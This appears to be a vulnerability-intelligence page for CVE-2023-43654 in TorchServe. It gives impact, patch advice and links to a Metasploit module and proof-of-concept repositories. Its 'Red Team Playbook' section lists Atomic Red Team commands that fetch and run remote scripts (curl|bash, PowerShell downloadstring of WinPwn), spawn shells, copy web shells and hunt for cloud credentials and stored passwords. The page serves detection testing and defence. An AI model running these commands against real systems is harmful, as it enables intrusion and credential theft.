CVE-2023-43654
Overview
The vulnerability in TorchServe arises from improper input validation in its default configuration, specifically within the model loading mechanism. This flaw enables unrestricted remote HTTP download requests and arbitrary file writes to disk by allowing users to specify model URLs without adequate restrictions. The affected component is the model URL loading feature, where the allowed_urls configuration parameter is not enforced by default, leading to potential misuse of remote resource loading.
Vulnerability Description
TorchServe is a tool for serving and scaling PyTorch models in production. TorchServe default configuration lacks proper input validation, enabling third parties to invoke remote HTTP download requests and write files to the disk. This issue could be taken advantage of to compromise the integrity of the system and sensitive data. This issue is present in versions 0.1.0 to 0.8.1. A user is able to load the model of their choice from any URL that they would like to use. The user of TorchServe is responsible for configuring both the allowed_urls and specifying the model URL to be used. A pull request to warn the user when the default value for allowed_urls is used has been merged in PR #2534. TorchServe release 0.8.2 includes this change. Users are advised to upgrade. There are no known workarounds for this issue.
Impact
An unauthenticated remote attacker can exploit this vulnerability to force TorchServe to download and write malicious files to the host system, potentially compromising system integrity and sensitive data confidentiality and availability. No user interaction or authentication is required (AV:N/AC:L/PR:N/UI:N), enabling remote exploitation over the network. This can lead to unauthorized code execution, data tampering, or service disruption within production environments running affected TorchServe versions.
Solution
Users should upgrade TorchServe to version 0.8.2 or later, which includes a warning for default allowed_urls settings and enforces URL restrictions as per the merged pull request #2534. Detailed patch and upgrade instructions are available in the official GitHub security advisory GHSA-8fxr-qfr9-p34w and release notes for version 0.8.2 at https://github.com/pytorch/serve/releases/tag/v0.8.2. No alternative workarounds are provided by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in TorchServe arises from its default configuration, which lacks adequate input validation for model URLs. This oversight allows an attacker to exploit the system by crafting malicious requests that can invoke remote HTTP downloads. When a user deploys a model using the default settings, they inadvertently expose the system to risks, as the application does not restrict the sources from which models can be loaded. The absence of stringent checks on the allowed URLs means that any URL can be specified, potentially leading to the execution of harmful scripts or the download of malicious files onto the server. This vulnerability affects versions 0.1.0 to 0.8.1, and the issue has been addressed in version 0.8.2, which includes a warning mechanism for users who attempt to use the default settings.
The attack vectors for this vulnerability are straightforward yet effective. An attacker could leverage social engineering tactics to convince a user to deploy a model from a malicious URL or directly exploit the system if they have access to the TorchServe instance. Once the attacker successfully loads a model from a compromised source, they could execute arbitrary code, manipulate data, or even exfiltrate sensitive information stored on the server. Additionally, if the TorchServe instance is part of a larger infrastructure, the attacker could pivot to other systems within the network, escalating their access and potentially leading to a full compromise of the environment. The simplicity of the exploit, combined with the high severity of the vulnerability, underscores the critical need for vigilance in configuration management.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on TorchServe for deploying machine learning models in production environments. A successful exploitation could lead to data breaches, loss of intellectual property, and damage to the organization's reputation. Furthermore, the integrity of the models served could be compromised, leading to erroneous predictions or decisions based on manipulated data. The financial implications could be substantial, as organizations may face regulatory fines, legal liabilities, and costs associated with incident response and recovery. The potential for widespread exploitation also raises concerns about the overall security posture of systems utilizing TorchServe, especially in sectors where data sensitivity is paramount.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize upgrading to the latest version of TorchServe, which includes improved safeguards against improper URL configurations. Regular audits of configuration settings are essential to ensure that only trusted URLs are allowed for model loading. Implementing network segmentation can also limit the potential impact of an exploit, as it restricts access to critical systems. Additionally, employing intrusion detection systems (IDS) can help identify unusual patterns of behavior that may indicate an attempted exploitation. Training staff on security best practices, including the importance of validating external resources, can further bolster defenses against social engineering tactics that may be used to exploit this vulnerability.
In conclusion, the vulnerability in TorchServe highlights the critical importance of secure configuration management in software deployment. The potential for exploitation underscores the need for organizations to remain vigilant and proactive in their cybersecurity practices. By understanding the technical details, recognizing the attack vectors, assessing the real-world impact, and implementing robust detection and mitigation strategies, organizations can significantly reduce their risk exposure and enhance their overall security posture.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-43654, with telemetry indicating a doubling in detection frequency over recent monitoring periods. This surge is accompanied by the emergence of additional publicly available proof-of-concept tools that facilitate vulnerability verification and exploitation, increasing the accessibility of attack methods to a broader range of threat actors. Notably, the integration of this vulnerability into a Metasploit module underscores its growing operationalization and potential for automated exploitation campaigns. While the EPSS score remains stable, the qualitative increase in exploitation attempts signals heightened adversary interest and capability to leverage TorchServe’s insecure default configuration. For defenders, this evolution elevates the urgency of monitoring TorchServe deployments for suspicious management interface activity and unauthorized model registrations. Consequently, the threat level associated with CVE-2023-43654 should be considered elevated due to the combination of increased exploitation attempts and the availability of streamlined attack tools that lower the barrier for compromise.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Pytorch | Torchserve | All |
cpe:2.3:a:pytorch:torchserve:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
PyTorch Model Server Registration and Deserialization RCE
exploits/multi/http/torchserver_cve_2023_43654
|
Idan Levcovich, Guy Kaplan, Gal Elbaz +2 | Unknown | - | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
OligoCyberSecurity/ShellTorchChecker
A tool that checks if a TorchServe instance is vulnerable to CVE-2023-43654
|
OligoCyberSecurity | 40 | 1 | 2023-10-02 | View |
|
OligoCyberSecurity/CVE-2023-43654
Demo for CVE-2023-43654 - Remote Code Execution in PyTorch TorchServe
|
OligoCyberSecurity | 3 | 0 | 2024-05-28 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Public exploit code is available for this vulnerability
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-664 | Server Side Request Forgery |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-43654 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/pytorch/serve/security/advisories/GHSA-8fxr-qfr9-p34w |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/pytorch/serve/pull/2534 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/pytorch/serve/releases/tag/v0.8.2 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/175095/PyTorch-Model-Server-Registration-Deserialization-Remote-Code-Execution.html |